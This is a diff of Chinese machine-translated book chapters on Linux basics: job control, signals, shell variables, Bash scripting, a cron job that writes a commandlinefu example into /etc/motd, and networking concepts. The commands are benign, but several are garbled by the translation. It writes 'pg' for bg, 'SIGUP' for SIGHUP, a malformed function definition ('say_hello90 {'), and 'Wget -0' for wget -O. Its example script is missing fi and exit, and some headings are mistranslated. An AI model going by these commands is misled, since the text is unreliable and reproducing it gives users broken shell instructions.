。您也可以通过在任何命令的末尾设置&符号来影响这种前景行为。所以,让我们用&符号重新运行最后一个命令。当在命令末尾使用&符号时,父进程不会等到子进程完成,但是两个进程现在并行运行。这也称为在后台运行进程。您会注意到,在后台运行一个进程会返回子进程的进程 ID,因此我们可以稍后引用它。例如,要杀死它,使用`kill`命令。为了将最后一个后台作业放到前台,再次输入`fg`并按下*进入*键。现在,我们的`sleep`命令又回到了前台。要将其放回背景,请按下 *Ctrl* + *Z* 。这不会将我们在前台运行的进程直接放入后台,而是挂起进程。将暂停的进程放入后台类型`pg`,或前台类型`fg`。为了杀死任何暂停或后台作业,可以使用`kill`命令。我们在后台运行的流程也被称为**作业**。要列出您当前在终端中的所有作业,您可以使用`jobs`命令。如果您在后台有任何正在运行的作业,将显示输出,您可以使用括号中的数字引用它。为了处理这样的作业标识,您需要在它前面加上一个百分比符号。例如,要删除作业标识号为 1 的作业,请键入`kill %1`。请注意,我们刚才使用的`pg`、`fg`和`kill`命令仅适用于终端中只有一个当前后台作业的情况。如果您在当前终端中处理多个作业,您需要使用百分比符号分别处理它们。 - -# 信号 - -信号用于进程之间的通信。如果你启动了一个新的进程,当它运行的时候,你如何通过你的 shell 或者其他程序或者进程与它通信?另外,父进程如何知道子进程何时结束?例如,您的 Bash 如何知道`ls -al`命令何时终止?在 Linux 中,这种通知和进程间通信是使用信号完成的。在 Linux 中,如果一个进程启动另一个进程,父进程将被置于睡眠状态,直到子进程命令完成,这将触发一个特殊的信号,这将唤醒父进程。父进程被置于睡眠状态,因此等待时不需要活动的 CPU 时间。一个流行的信号是寻道或中断信号,每次我们在活动程序中按下 *Ctrl* + *C* 时,该信号就会被发送到运行进程。这将中断并立即停止该过程。我们已经发出的另一个信号是通过按 *Ctrl* + *Z* 暂停一个进程来触发的信号,这样我们就可以将其放在后台。不用组合键发送信号,也可以直接使用`kill`命令向正在运行的进程发送各种信号。 - -# 杀 - -使用`kill -l`获取一个可以发送到进程的所有可用信号的列表。例如,发送给程序杀死它的标准信号是`SIGKILL`信号,其信号 ID 为 9。所以,让我们先创建一个新的流程,然后杀死它;例如,在后台启动一个新的睡眠过程。正如您已经了解的,将流程放入后台会打印出流程标识。大多数时候,我们使用`kill`命令来终止系统进程,这些进程通常不是由我们的用户启动的。因此,一个标准的检索方式是使用`ps`选项,`aux`,然后按照您想要杀死的进程的名称进行过滤。将`ps`与选项`aux`一起使用会打印出完整的命令行,这通常有助于区分正确的进程,因为在此列表中经常有多个进程具有相同的命令名称。在我们的例子中,我们只有一个睡眠进程在运行,我们可以确认正确的进程标识。现在,为了杀死这个进程,使用`kill -9`发送`SIGKILL`信号,然后发送进程标识。让我们再次使用`ps`命令确认这一点: - -![](img/e51b61bc-e449-4a4e-a70a-2319c1403587.png) - -如你所见,`sleep`命令已经成功击杀。在上一节中,我们使用了带有百分比作业标识的`kill`命令,但是使用带有 PID 而不是作业标识的`kill`命令有什么区别呢?后台和挂起的进程通常通过作业号或作业标识来操作。该编号不同于进程标识,使用它是因为它更短。使用 PID 杀死进程最常用于使用根帐户杀死有故障的系统进程。此外,一个作业可以由多个连续或同时并行运行的进程组成。使用作业标识比跟踪单个流程更容易。 - -# 障碍 - -最后,我们来讨论一下`SIGUP`信号,或者挂机信号。在 CentOS 7 中,如果你在后台运行一个程序,比如`sleep`命令,并注销系统,然后再次登录,你会看到该命令或进程仍在运行。因此,在 CentOS 7 中,我们可以轻松地运行后台进程并注销 SSH 会话,这对于运行需要一直运行的程序或进行一些耗时数小时、数天甚至数月的繁重计算非常有用。在其他 Linux 发行版中,如果你退出系统,内核会向所有正在运行的后台进程发送挂起信号,或者简称为`SIGUP`,并终止它们。在这样的系统中,要禁用发送到您的进程的挂机信号,请使用`nohup`;在命令前加上`nohup`命令,如`nohup sleep 1000 &`。这样,您可以安全地从系统中注销,并且您的作业不会停止运行。但是,如前所述,在 CentOS 7 系统上,您不必这样做。 - -# 使用 Bash Shell 变量 - -在本节中,我们将向您介绍 Linux Bash shell 变量。Bash shell 变量是给任何动态值赋予符号名称的好方法,因此我们可以通过名称来引用值。这有助于创建非常灵活和方便的系统,在这些系统中,您通常只需要更改单个值,并且计算机上访问该值的所有进程都可以自动更改它们的行为。使用 shell 变量提供了一种在 Linux 中的多个应用和进程之间共享配置设置的简单方法,我们将在下一节中看到这一点。要定义新的环境变量,请使用以下语法`MY_VALUE=1`,变量的名称等于,然后是值。所有 Bash shell 变量不得包含空格或特殊字符,并且按照惯例,shell 变量通常都是大写的。要访问 shell 变量的存储值,它只不过是存储值的 shell 扩展,请在变量前面加上美元符号。您也可以将 Shell 变量视为动态值的容器。如果需要,还可以随时更改 shell 变量的值。您也可以使用以下语法将 Shell 变量的内容复制到另一个变量:`MY_NEW_VALUE=$MY_VALUE`。要取消 Shell 变量的内容,请使用`unset`命令。对于分配 shell 变量,引用和转义规则与我们在前面章节的 shell 引用和 globbing 部分中学习的任何其他 Bash 主题相同。例如,首先将字符串`b`分配给 Shell 变量`a`。现在,为了在字符串中嵌入空格,必须使用引号。其他 Shell 扩展,如其他 Shell 变量,也可以在字符串赋值中扩展。要在字符串中嵌入双引号,请使用单引号括起来。有许多预定义的全局 Shell 环境变量可以配置系统范围的设置,如`home`、`path`、`shell`等。 - -虽然 Linux 中大多数环境变量没有官方标准,但许多程序都使用通用变量名。例如,如果您为`PROXY`环境变量设置了一个值,所有使用该变量的程序和服务现在都可以访问这个新的集中信息,而不需要您单独告诉每个程序或服务有什么变化。另一个非常重要的系统环境变量是`PATH`变量。它由 Bash Shell 本身使用。它包含所有由冒号分隔的路径,Bash shell 试图在这些路径中查找可执行文件的位置,因此您不必为命令提供完整的路径,该路径包含在命令中。例如,如果我们在名为`my-script.sh`的新本地脚本文件夹中创建新的脚本文件,我们需要提供它的全名位置以便执行它;我们没有其他方法可以执行脚本。但是我们不能从`/tmp`目录运行它,因为 Bash 在它的路径中找不到它。现在,如果我们将脚本的位置添加到 path 环境变量中,我们就可以从任何地方运行脚本,而不必提供完整的路径,甚至自动完成也可以工作。但是 Bash shell 变量和环境变量有什么区别呢? - -正常的 shell 变量不是所谓的进程环境的一部分,或者换句话说,它们在任何子进程或子进程中都不可见。这是因为当执行一个进程时,只有环境被克隆,而不是本地 shell 变量。您可以通过使用`MYVAR=helloworld`创建以下 shell 变量来测试这一点,然后在我们将作为子流程运行的脚本中使用它: - -![](img/7b5b9eba-a6f7-4014-bc58-0402c11b383b.png) - -如您所见,我们创建了一个名为`MYVAR`的新 shell 变量,然后创建了一个引用或试图访问该环境变量的脚本。如果我们执行这个脚本,现在会发生什么?如您所见,子进程或子进程不能从父进程访问`MYVAR` Bash shell 变量,但是您可以通过将我们的`MYVAR` shell 变量定义为环境变量来改变这种行为。任何子进程在进程创建期间都会获得父进程环境的副本,包括所有环境变量,但不包括本地 shell 变量。如果在 shell 变量前面加上单词`export`,子进程就可以访问这个环境变量,因为在创建新进程时,环境正在从父进程复制到子进程。但是即使像 shell 变量这样的环境变量也无法从系统注销中幸存下来,这意味着如果您关闭 SSH 会话,您定义的所有变量都将消失。 - -如果您想创建一个系统范围的环境变量,该变量存在于每个用户中,并且在退出系统后仍然存在,请使用您的根用户帐户将您的变量放入`/etc/environment`文件中。您也可以在运行命令之前,通过在 shell 变量名称前加上前缀,使用以下语法使 shell 变量可用于子进程,例如`MYVAR=NEW_Helloworld ~/scripts/local_var.sh`。这样,您就不必将 shell 变量定义为环境变量。另一个非常重要的规则是,子进程永远无法更改父进程的环境变量,因为子进程和父进程是相互独立的,子进程只有父进程环境的本地副本。要测试这一点,请尝试以下操作: - -![](img/9c5ff27f-be37-4490-b6e5-59ff3f1859c0.png) - -首先,让我们清除本地子 Bash shell 变量的所有可能的前值。接下来,创建一个脚本,用值`Hello_from_child`创建一个名为`CHILDVAR`的新环境变量。现在,如果我们执行脚本会发生什么?如果我们执行脚本,`CHILDVAR`环境变量将在子进程中设置,这个`CHILDVAR`环境变量对于父进程是不可见的。总之,您在脚本中定义的任何 shell 变量或环境变量在父进程中都是看不到的。如果你想让 shell 变量从一个子进程到一个父进程可用,首先你需要在你的子进程中创建一个所谓的源文件,你在`vi ~/scripts/child.sh`中定义你的环境变量。 - -接下来,在子进程中执行脚本: - -![](img/97fcd181-08af-46a4-b269-99fc37ed054b.png) - -这将为父进程创建源文件。现在,在父进程中,首先我们检查`CHILDVAR`环境变量是否可用。如果不是,让我们使用`source`命令来获取它。最后,让我们重新检查一下`CHILDVAR`环境变量现在是否可以访问。如果是,那么这是在子进程中创建环境变量并使它们可用的有效方法。 - -# Bash shell 脚本介绍 - -在本节中,我们将向您介绍 Bash shell 脚本的核心概念。Bash shell 脚本的另一个非常重要的特性是函数。我们在 Bash shell 脚本中过度使用函数来使重复出现的任务或命令可重用。函数封装任务,使其更加模块化。函数通常接收数据,处理数据,并返回结果。一旦编写了函数,它就可以反复使用,但是我们也可以在命令行上使用函数。 - -让我们通过创建一个函数来讨论函数的一般语法: - -```sh -$ say_hello90 { ->echo "My name is $1"; ->} -``` - -第一个字是函数名,后面跟着左右括号,用来定义一个函数,后面跟着一个花括号;属于一个函数的所有命令都在左括号和右括号中定义,这也称为函数体。函数可以有参数作为普通命令,函数体可以从外部访问这些参数。要访问函数中的某个参数,请使用美元数字符号。所以`$1`是第一个参数,`$2`是第二个参数,以此类推。让我们来看看我们的`say_hello`功能。如果我们用一个参数调用这个函数,这个函数就会用一个参数来执行,这个参数会取在函数体中,我们可以用`$1`变量来访问第一个参数,这只不过是一个正常的 shell 扩展。 - -函数也可以调用它们体内的其他函数。现在,让我们学习将 shell 命令放在 shell 脚本文件中。脚本文件只是包含不同 Linux 命令、控制结构、循环等的纯文本文件。通常,它们是为了解决日常计算机问题和满足您自己的个人需求而编写的,而不是必须手动逐个执行单个命令。有两种方法可以将文本文件作为 shell 脚本执行。第一种方法是将其用作 Bash 命令的参数。另一种不使用它作为 Bash 命令的参数来执行它的方法是,首先使脚本可执行,然后将所谓的 shebang 行放在第一行,这告诉命令行这个文件是一个 Bash 脚本,应该用 Bash 解释器启动。在我们的例子中,`#!/bin/bash`是 shebang 行,告诉 Bash 这是一个 Bash shell 脚本。现在,用 shebang 方法启动它,使它可执行,然后您可以在命令行上运行它,如下所示: - -```sh -$ vi /tmp/new-script.sh -$ chmod +x /tmp/new-script.sh -/tmp/new-script.sh -``` - -类似于使用函数,我们也可以在 shell 脚本中访问命令行参数,比如`$ vi /tmp/new-script.sh`。第一个参数可以使用`$1`访问,第二个参数`$2`可以使用等等。在 shell 脚本中,您也可以使用`$0`访问 shell 脚本的名称。使用`$#`可以访问参数的总数。例如,要检查脚本是否至少需要两个参数,请执行以下操作: - -```sh -#!/bin/bash -echo "Hello World" -echo "..........." -if [[ $# -lt 2 ]] -then -echo "Usage $0 param1 param2" -echo $1 -echo $2 -echo $0 -echo $# -``` - -因此,这个脚本所做的是检查命令行参数的数量是否至少为两个,如果不是这样,那么将打印出一个用法格式,说明您需要两个参数,按*回车*,然后将返回一个退出值`1`,这意味着这个脚本抛出了一个错误,因为,正如我们已经知道的,一个脚本将在成功执行时返回`0`。让我们测试一下这个脚本: - -![](img/e74aa248-dede-4c8d-b5a6-e0a0fc11d9b6.png) - -如果我们只用一个参数启动脚本,它将打印出使用格式。然而,如果我们从两个参数开始,它将正确工作。说到 shell 脚本,还有很多东西需要学习,我们只能向您展示最基本的东西来帮助您入门。您可以参考 Bash 手册,或者直接开始免费阅读 Cent0S 7 OS 附带的各种 shell 脚本。键入以下命令获取所有`.sh`文件的列表:`su -c 'find / -name "*.sh"'`,这是系统中 shell 脚本文件的默认扩展名。从打开系统中的一个可用 shell 脚本文件开始,并尝试理解它,例如,`/usr/libexec/grepconf.sh`。 - -# 实现 Bash Shell 脚本 - -除了我们在上一节中使用的逻辑`and`和`or`表达式之外,如果我们需要根据命令的退出状态、变量值、命令输出等做出决定,我们需要理解`if`语句或条件分支。简单地说,`if`语句意味着,基于某种条件,我们的脚本或命令行应该执行一个动作,否则它应该执行其他动作。 - -让我们再次使用上一节中的退出代码来演示: - -![](img/e85d9ae2-c58a-4d0b-ba90-360496cda0f2.png) - -在这个例子中,我们发出`ls`命令查看`oiip`主目录的内容。我们将`ls`命令的退出状态存储在`EXIT` Bash 变量中。在下一行,我们现在陈述 if 条件。这可以理解为:`if`Bash 变量`EXIT`等于`0`,然后打印出两行文字,这个`if`条件用反 if 字,fi。如您所见,两行已经打印出来,这意味着 if 条件为真,因此退出值为`0`。需要注意的是,您必须非常小心地设置空格和新行,就像我在前面的示例中所做的那样,但是您也可以将完整的 if 语句放在一行中,如果您按下向上箭头键来显示历史记录中的最后一个命令,您就可以看到这一点。如您所见,shell 内部使用分号而不是新行来分隔大多数表达式,这有点难以理解,尤其是在您编写更复杂的 Bash shell 脚本单行的情况下。要否定任何 if 表达式,即如果条件不满足,则`if`语句的计算结果为真,请使用以下公式: - -```sh -$ EXIT=1 -$ if ! [[ $EXIT -eq 0 ]] ->then ->echo "EXIT value is not zero" ->fi -EXIT value is not zero -``` - -在本例中,if 条件可以理解为:如果退出值不等于`0`,则打印出文本。在我们的例子中,这是真的,因为退出值是`1`。If 条件可以包括很多不同的测试,这里无法演示。在这里,遵循最重要的。要测试平等,使用我们刚刚看到的`-eq`测试。你可以用它来表示数字。对于字符串比较,请改用`==`运算符。例如,您也可以使用上一节中介绍的逻辑`and`和`or`表达式来测试替代方案。这个例子可以理解为:如果密码等于`Hello_my_world_555`或者如果密码等于`my_secret_pass`。在本例中,密码是正确的。还可以使用等号运算符使用正则表达式。这个语句可以理解为:如果字符串在行首匹配,则 if 条件为 true,其中前两个字符是变量,但之后必须有一个`rem`,这是真的。对于数值,也可以用`-lt`和`-gt`代替`-eq`测试小于或大于的数字,例如测试小于或测试大于。 - -另一组非常重要的条件是文件测试。存在大量非常强大的文件测试来查看文件或目录是否满足特殊属性。有大量非常强大的文件测试来查看文件或目录是否存在,例如测试文件是否存在,使用`-a`文件测试,或者检查目录是否存在使用`-d`文件测试。这显示在下面的截图中: - -![](img/e90b6248-ed1b-4803-98db-85f1d17a014c.png) - -要了解有关所有现有文件测试以及所有可用比较运算符的更多信息,请打开 Bash 手册并搜索条件表达式。我们刚刚学习的最简单的 if 语句的一般语法是,如果条件为真,则执行开头 if 和结尾`fi`之间的所有命令。现在,您还可以合并一个`else`分支,如果条件不为真,将执行该分支。下面的截图显示了执行情况: - -![](img/23e888b5-7f09-45cd-8940-0801ccb8f8a1.png) - -else 分支由`else`关键字引入。在我们的示例中,if 条件不为真,因此将执行 else 分支。如果有几个独立的条件需要检查,也可以使用`elif`语句,这比一个接一个写多个`if`语句要好。因此,您可以使用更紧凑的`elif`符号来代替编写三个单独的`if`语句来检查等于、小于和大于的条件: - -![](img/f565c1c7-4290-4328-9762-b4d442a7969f.png) - -接下来,我们将讨论循环。Bash shell 中最重要的循环之一是`for in`循环。它可以用来迭代一系列单词。单词分隔符可以是空格或新行。现在,如果我们在`for`循环中使用这样的空格或新行分隔单词列表,它将遍历该列表中的每一项,我们可以使用 for 循环主体中的当前值,在这里我们还可以执行命令。然后,只要列表中有元素,就会重复这个块。在我们的例子中循环变量的名字,我们称之为`count`,可以自由选择: - -![](img/35e6cf55-b95c-4ec3-9643-437edd33597b.png) - -这个例子可以理解为:例如,遍历`1`、`2`、`3`和`4`的列表,在每次迭代中,将当前值保存在 count 变量中,然后在循环体中打印出它的内容。但是我们能用`for in`循环做什么呢?例如,下面的 Bash 内置扩展为连续数字的列表:`$ echo {1..20}`。您也可以使用`seq`命令进行同样的操作,但是这会产生一个新的行分隔列表。所以,如果我们需要运行一个循环,我们可以只做下面的事情。新的行分隔列表完成了所有的工作,但是不要忘记将命令放在美元括号中。正如我们已经知道的,shell globbing 字符输出一个由空格分隔的所有文件的列表,所以我们也可以这样做。在 for in 循环中使用文件的一个重要用例是重命名多个文件,例如,在具有不同文件扩展名的目录中。注意,在这个例子中,我们使用`basename`命令并用美元括号符号包围它以返回纯文件名: - -![](img/bc907652-f59f-4f97-8a58-0ab9bf7359a9.png) - -如您所见,我们创建了一个新目录,其中包含五个扩展名为`.txt`的文件。然后,我们使用`for each`循环遍历我们的五个文件,对于每个文件,我们将文件移动到一个文件扩展名。除了`while`循环,还有其他非常重要的循环。您可以参考 Bash 手册并搜索一会儿。 - -# 自动化脚本执行 - -在本节中,我们将向您展示如何自动执行 Bash shell 脚本。cron 系统可以在每个 Linux 系统上使用,它允许管理员根据任何小时、天甚至月来确定预定义的时间表,从而实现命令或脚本的自动化。它是 CentOS 7 操作系统的标准组件,在本节中,我们将向您介绍管理重复任务的概念,以便利用这一宝贵的工具。 - -首先,让我们创建一个新的脚本,它将从不可思议的 **Commandlinefu** 网页下载一个优雅而有用的 Linux 命令行示例,并将其放在 Linux 系统中的`motd`或“当日消息”文件中,以便每当用户登录系统时都能看到它。`motd`文件是一个简单的文本文件,成功登录后将显示其中的内容。然后,我们将脚本作为 cron 作业运行,以便每天更新当天的消息,这对每天学习新的优雅的命令行解决方案非常有用。 - -为此,首先以`root`身份登录,因为 cron 系统位于系统目录中。接下来,复制原`motd`文件。之后,让我们创建脚本文件来更新系统中的`motd`文件: - -![](img/8d41cb92-dd19-490a-ad88-4d27d46abdd5.png) - -```sh -#!/bin/bash -Wget -0 /etc/motd http://www.commandlinefu.com/commands/random/plaintext -``` - -该脚本为普通批处理脚本,使用`wget`程序从网页[http://www.commandlinefu.com/commands/random/plaintext](http://www.commandlinefu.com/commands/random/plaintext)下载一个随机的 Commandlinefu 示例,并将下载的文件保存为`/etc/motd`。所以,我们在登录系统的时候可以直接看到内容。现在,让我们测试一下我们的新脚本: - -![](img/e22ea232-2309-486e-8922-c9e8bb155502.png) - -如您所见,该脚本已成功从[http://www.commandlinefu.com/](http://www.commandlinefu.com/)网页下载了一个 Commandlinefu。为了测试我们使用的 Commandlinefu 网页 URL 是否真正返回了一个随机的命令行示例,让我们重新启动我们的脚本: - -![](img/72e3a481-291c-4e5d-977d-a438557e2864.png) - -如您所见,这次命令行示例不同。现在,根据您自己喜欢的脚本执行时间表,您需要决定执行脚本的频率。文件系统中有一些特殊的 cron 目录,用于执行系统范围的 cron 作业,您可以使用`# ls /etc/cron* -d`访问它们。这些文件夹名为`cron.daily`、`cron.hourly`、`cron.weekly`和`cron.monthly`,位于`/etc`目录中,它们的名称指的是它们运行的时间点。因此,如果我们希望我们的新 Commandlinefu 脚本每天都启动,只需将脚本文件放入`cron.daily`目录或使用`cd /etc/cron* -d`创建一个指向它的符号链接。如果您想使用不同的时间表运行它,只需将其放入`cron.hourly`、`cron.monthly`或`cron.weekly`目录。如果不想再执行脚本或符号链接,就从文件夹中删除它。如果不想运行系统范围内的 cron 作业,也可以以普通用户身份使用`crontab`命令。您可以阅读`crontab`手册,了解该命令的更多信息。最后,我们来测试一下`motd`文件是否工作。退出 SSH 会话,然后再次登录: - -![](img/f57b53a4-dda2-498d-8433-45e31749d239.png) - -如你所见,它运行得很好。基于我们创建的 cron 作业,明天这里应该会有一个不同的命令行示例。 - -在本章中,我们已经向您介绍了用于脚本自动化的 Linux cron 系统。 - -# 摘要 - -在这一章中,我们讨论了从基本的 Linux 命令、信号、进程和 Bash shell 脚本的主题。 - -在下一章中,我们将介绍高级命令行概念。 \ No newline at end of file diff --git a/docs/fund-linux/5.md b/docs/fund-linux/5.md deleted file mode 100644 index aff4911f..00000000 --- a/docs/fund-linux/5.md +++ /dev/null @@ -1,613 +0,0 @@ -# 五、更高级的命令行和概念 - -在本章中,我们将了解以下内容: - -* 基本网络概念 -* 安装新软件和更新系统 -* 服务介绍 -* 基本系统故障排除和防火墙 -* ACL 介绍 -* `setuid`、`setgid`和`sticky bit` - -# 基本网络概念 - -在本节中,您将学习 Linux 中网络的基础。关于网络的一切都在 Unix 和 Linux 的经典领域内,事实上,老 Unix 人确实说 Unix 是为网络通信而创建的。Linux 被认为是使用、学习、测试、播放、诊断和排除计算机网络故障的最佳系统之一,因为 Linux 中有许多免费的优秀工具,而且开箱即用,或者只需一个命令即可安装。关于计算机网络这个主题有很多需要学习的地方,在这里我们只能用 CentOS 7 Linux 操作系统来教你它的基础知识。 - -现在,让我们从 10,000 以上开始了解计算机网络。网络中最基本的两个概念是网络或子网和 IP 地址。每个 Linux 用户需要知道的三个最重要的事实是网络,有时也称为子网,IP 地址和网络规则: - -* 规则 1:网络 - -每个网络(有时也称为子网)都有一个仅由数字组成的所谓网络地址,如下所示: - -![](img/350a4969-33cb-4b4e-8f34-8d04af3d0d28.png) - -* 规则 2:IP 地址 - -每台计算机都需要一个 IP 地址进行通信,这是子网地址的一部分。在我们的示例中,IP 地址和网络地址之间的前三个数字除以点是相同的: - -![](img/e8143da7-1838-4d7a-9c09-19dc442dc282.png) - -* 规则 3:相同的网络 - -两台或多台计算机之间的网络通信最简单的方法是物理连接它们(例如,通过使用网络电缆和单个交换机),然后将它们放在同一个网络中,这意味着从与我们的子网网络地址相同的范围中选择所有计算机的 IP 地址。在我们的示例中,选择`10.0.2`作为我们所有 IP 地址的前三位数字。如您所见,只有最后一位是可变的。每台想要与同一网络中的另一台计算机通话的计算机只需要接收方的正确 IP 地址。这也是您家中几乎所有专用网络的基本设置: - -![](img/82fd0c2c-7b75-4719-98f7-d4eac7a40776.png) - -正如我们刚刚了解到的,为了正常的网络通信,所有参与者都需要在同一个网络中。如果这就是网络的全部,我们将不得不止步于此,现代通信和万维网将不复存在。现实是,全球有数百万个网络连接在一起,比如我们自己的私有网络,它们都是通过路由器连接的。如果您想与网络中的另一台机器或任何其他网络进行通信,您的计算机需要有一个所谓的 IP 路由表,该路由表定义了静态路由或指向特定目的地的下一跳。这个 IP 路由表是每个 Linux 操作系统的一部分。例如,如果我们有一个由三个子网组成的专用网络,这些子网具有以下 IP 网络地址,如果您想与子网中的另一台计算机联系,您的路由表可以按以下方式工作。如果表中有一个条目定义了如果有人想要访问`10.0.2.0`子网的 IP 地址(例如,使用 IP `10.0.2.15`)该做什么,则表中有一个路由条目定义了您应该跳至`10.0.2.0`网络: - -![](img/7cc02cbc-89a6-49bf-981a-7831a5248fa6.png) - -如果你想用 IP 地址`192.168.122`访问机器,也会发生同样的情况。因为表中有一个条目,路由表将跳转到这台计算机所属的`192.168.1.0`网络: - -![](img/c290d1ac-a116-4c33-b712-677910b343dd.png) - -对于没有明确规则的所有其他 IP 地址,将使用所谓的默认路由。在大多数专用网络中,默认规则是真实硬件路由器的 IP 地址,它基本上与 IP 路由表相同,但它可以做得更多,因为它连接到全球其他路由器,在那里它会找到正确的目的地址: - -![](img/c01d8f98-0bf5-49bf-95e4-06f4020e8a36.png) - -这也称为动态路由,因为源和目的地之间的路由器或路径会因其将使用的路由器而异。通常,大多数互联网服务提供商提供的每个专用网络只有一个连接到公共互联网的公共 IP 地址: - -![](img/9b03a412-0b6b-439f-b6a1-77849dc6c292.png) - -如果我们的专用网络中的所有机器想要与公共互联网中的其他计算机进行通信,它们需要通过具有单一公共 IP 地址的路由器。 - -另一方面,如果来自互联网的外部公共机器想要从我们的子网访问私有计算机,路由器需要处理消息到正确接收者的正确传递,该接收者具有仅在我们的私有网络内可见的内部 IP 地址。 - -但是如何定义一台计算机的 IP 地址呢?IP 地址需要在操作系统级别设置在与特定网络接口相关联的正确配置位置: - -![](img/09f07a3c-9a4a-4bde-b997-d2df61ddd88f.png) - -但是,如前所述,IP 地址在同一子网中必须是唯一的;否则,无法找到网络邮件的正确收件人。 - -那么,你怎么能解决这个问题呢?第一种方法是手动管理计算机列表以及该网络中所有可用的空闲和保留 IP 地址。在这里,我们需要分配静态 IP 地址,这意味着每台计算机都会获得一个硬编码到系统中的 IP 地址,该地址不会改变并保持稳定: - -![](img/4a981e2c-3333-4380-90ab-3fe3e8f26644.png) - -通常,网络中的重要服务,如邮件或网络服务器,都有一个静态的 IP,因为它们必须始终可以从多台其他计算机或服务在同一地址下访问。但是,可以想象,这个系统非常不灵活,一直需要人工干预。试想一下,一个公共无线热点,以及所有一直使用多种设备(如智能手机、笔记本电脑和平板电脑)连接到该网络的人。更好的解决方案是使用所谓的 DHCP 服务器。这是一项在您的网络中运行的服务,用于侦听新设备并保存当前连接到网络的所有设备的数据库。它自动分配或撤销,并以非常可靠的方式管理连接的所有机器的 IP 地址: - -![](img/9a6a7d59-ae58-42cf-99a1-a57362865dc5.png) - -分配给计算机的 IP 地址是动态的,这意味着明天,您的计算机可以有一个不同于今天使用的 IP 地址。这个系统最大的优点是,它还可以向连接的计算机发送有关您的网络的附加信息,例如,您网络中的专用 DNS 或邮件服务器的 IP 地址,如下图所示: - -![](img/f579f775-7eeb-4f85-9df7-6a3f491e357b.png) - -DNS 服务器是我们需要了解的另一个非常重要的网络功能。正如我们刚刚了解到的,计算机之间的通信只使用 IP 地址,这只是数字。由于我们人类不太擅长记忆或回忆长序列的数字,但更擅长处理对象或事物的名称,因此开发了一个系统来为这些 IP 地址分配名称或别名,这样我们就可以用名称来称呼计算机。 - -域名系统服务器有一个存储这些关系的数据库。由于计算机在网络上只能使用数字而不能使用名称,所以每次我们想要使用名称连接计算机时,都会在内部要求相应的 DNS 服务器将名称转换为其相应的 IP 地址,以便我们可以使用该 IP 地址进行正确的连接。现在,为了解析正常互联网的名称,如`google.com`,我们将使用一些通常由您的 ISP 提供或从其他来源提供的公共域名系统服务器: - -![](img/a7436e53-37c4-4f67-ac08-c92aca2dc5a2.png) - -但是,当公共域名系统服务器没有这些信息时,我们如何给子网中的内部专用计算机的 IP 地址命名呢?一种解决方案是安装和设置我们自己的专用域名系统服务器,并为 IP 地址关系添加新名称。 - -因为这需要大量的安装和配置工作。一个更简单、更快捷的解决方案是将名称与本地的一个 IP 地址关系放在一个名为`/etc/hosts`文件的特殊文件中: - -![](img/01781fed-e595-4932-8c2d-ea8805ed09ee.png) - -使用 hosts 文件的最大缺点是,您必须将此文件放在网络中想要解析网络名称的每台计算机上,并且您还必须始终保持此文件为最新,以便每次向网络中添加新计算机时,网络中的每台计算机都需要更新其 hosts 文件。 - -到目前为止,我们只谈到了域名服务器和主机文件中的名称与 IP 地址的关系。但这里我们需要更详细地讨论这样一个名字的解剖结构。例如,您可以为网络中的所有计算机提供与其一起工作的人员的主机名: - -![](img/dc16a2b3-f028-4381-8ea8-66ddbc9429c8.png) - -您也可以使用任何您喜欢的名称模式,但是,正如您可以想象的那样,这些主机名并不唯一,不足以完全限定网络中的计算机,因此我们可以直接对其进行寻址。请记住,我们的专用网络可以由几个不同的子网组成,例如,一个用于 IT 部门,一个用于人力资源部门: - -![](img/c009193b-7539-4697-90f4-1c0e0abe623f.png) - -在这里,两个人可以很容易地以相同的名称存在于不同的子网中,所以这是行不通的,因为计算机主机名 Carl 存在于两个网络中,我们只是不能单独使用主机名来区分不同的计算机名称。因此,我们也可以给子网或网络地址命名。这种名称也称为域名。计算机的主机名或名称加上 DNS 名称,组合在一起并以点分隔,称为**完全限定域名** ( **FQDN** ),每次我们需要访问本地子网之外的不同网络中的计算机时,确实需要用到: - -![](img/2bf24fce-9aed-48ff-bedc-288f2b8a38c3.png) - -因此,在这里,使用完全限定名称呼 it-department.com 的卡尔不会与 human-resources.com 的卡尔发生冲突。 - -让我们回顾一下!主机名是计算机名(例如 Carl),DNS 名是网络或子网的名称,例如`my-company.com`或`google.com`,完全限定域名是主机名加上用点分隔的 DNS 名(例如`Carl.my-company.com`或`mail.google.com`)。 - -在本书的[第 1 章](1.html)*Linux 简介*中,我们设置了三个虚拟机,分别叫做**主**、**客户端 1** 、**客户端 2** 。我们将三台机器的网络配置为每台虚拟机有一个网络接口,始终使用相同的隔离 IP `10.0.2.15`,这意味着三台虚拟机之间无法建立内部连接,因为它们都具有相同的 IP: - -![](img/c29ecc67-d1c8-41f4-a29e-64fc94d2adac.png) - -我们使用 VirtualBox 端口转发,通过 SSH 从外部访问我们的机器,使用主机端口`2222`、`2223`和`2224`,它们都映射到端口`22`,机器的内部 SSH 端口。现在,我们希望使机器能够使用内部专用网络相互通信。由于每个网络接口只能有一个 IP 地址,我们将通过从另一个子网向每台机器添加具有新 IP 地址的第二个虚拟网络适配器来实现这一点,这样每个虚拟机都有一个网络适配器用于通过 SSH 进行公共访问,还有一个用于内部子网通信: - -![](img/2c4ab2d6-47ea-468a-8086-7b9b4f8df068.png) - -如您所见,我们使用第二个子网络`10.0.5`代替我们的`10.0.2`作为我们的内部网络: - -![](img/2845aa26-4aaa-4d9e-b1b3-6164484e45c5.png) - -如果您键入`ip addr list`,您将获得当前连接到您的计算机的所有网络接口的列表: - -![](img/6875b8b1-1a5c-42eb-8518-fbcb34ba4428.png) - -第一个设备是环回设备,这是一个非物理设备,这样我们就可以与自己的计算机建立网络连接。它总是有 IP 地址`127.0.0.1`。第二个网络接口是 enp0s3,它是 VirtualBox 配置提供的虚拟网络接口。这反映了对以下设置中的设置进行调整: - -![](img/bb9ae48a-e5ae-4748-b868-7c9fc6c7e71a.png) - -这个虚拟网络接口有 IP 地址`10.0.2.15`,主要是用来和机器 SSH 的。 - -现在,让我们向虚拟机添加另一个网络接口: - -1. 为此,首先关闭机器: - -![](img/1e46dca3-5bb3-4787-87c4-bb076c37c06d.png) - -2. 现在,要为虚拟机之间的内部通信添加新的网络接口,请按照以下方式为每台机器添加第二个网络接口。首先,打开您的虚拟机设置,转到网络,打开适配器 2 选项卡,启用它,并将其连接到内部网络。如你所见,内部网络的名字叫做互联网。我们会将所有其他虚拟机放在同一个网络中: - -![](img/f26c507d-ad70-443c-8f8f-377cf5bc89f9.png) - -3. 现在,按“确定”继续。 -4. 对您希望作为内部网络一部分的每台虚拟机执行相同的操作,以便在机器之间进行通信。 - -5. 现在,让我们启动一个虚拟机来测试网络设置。 -6. 现在,如果您再次运行 IP 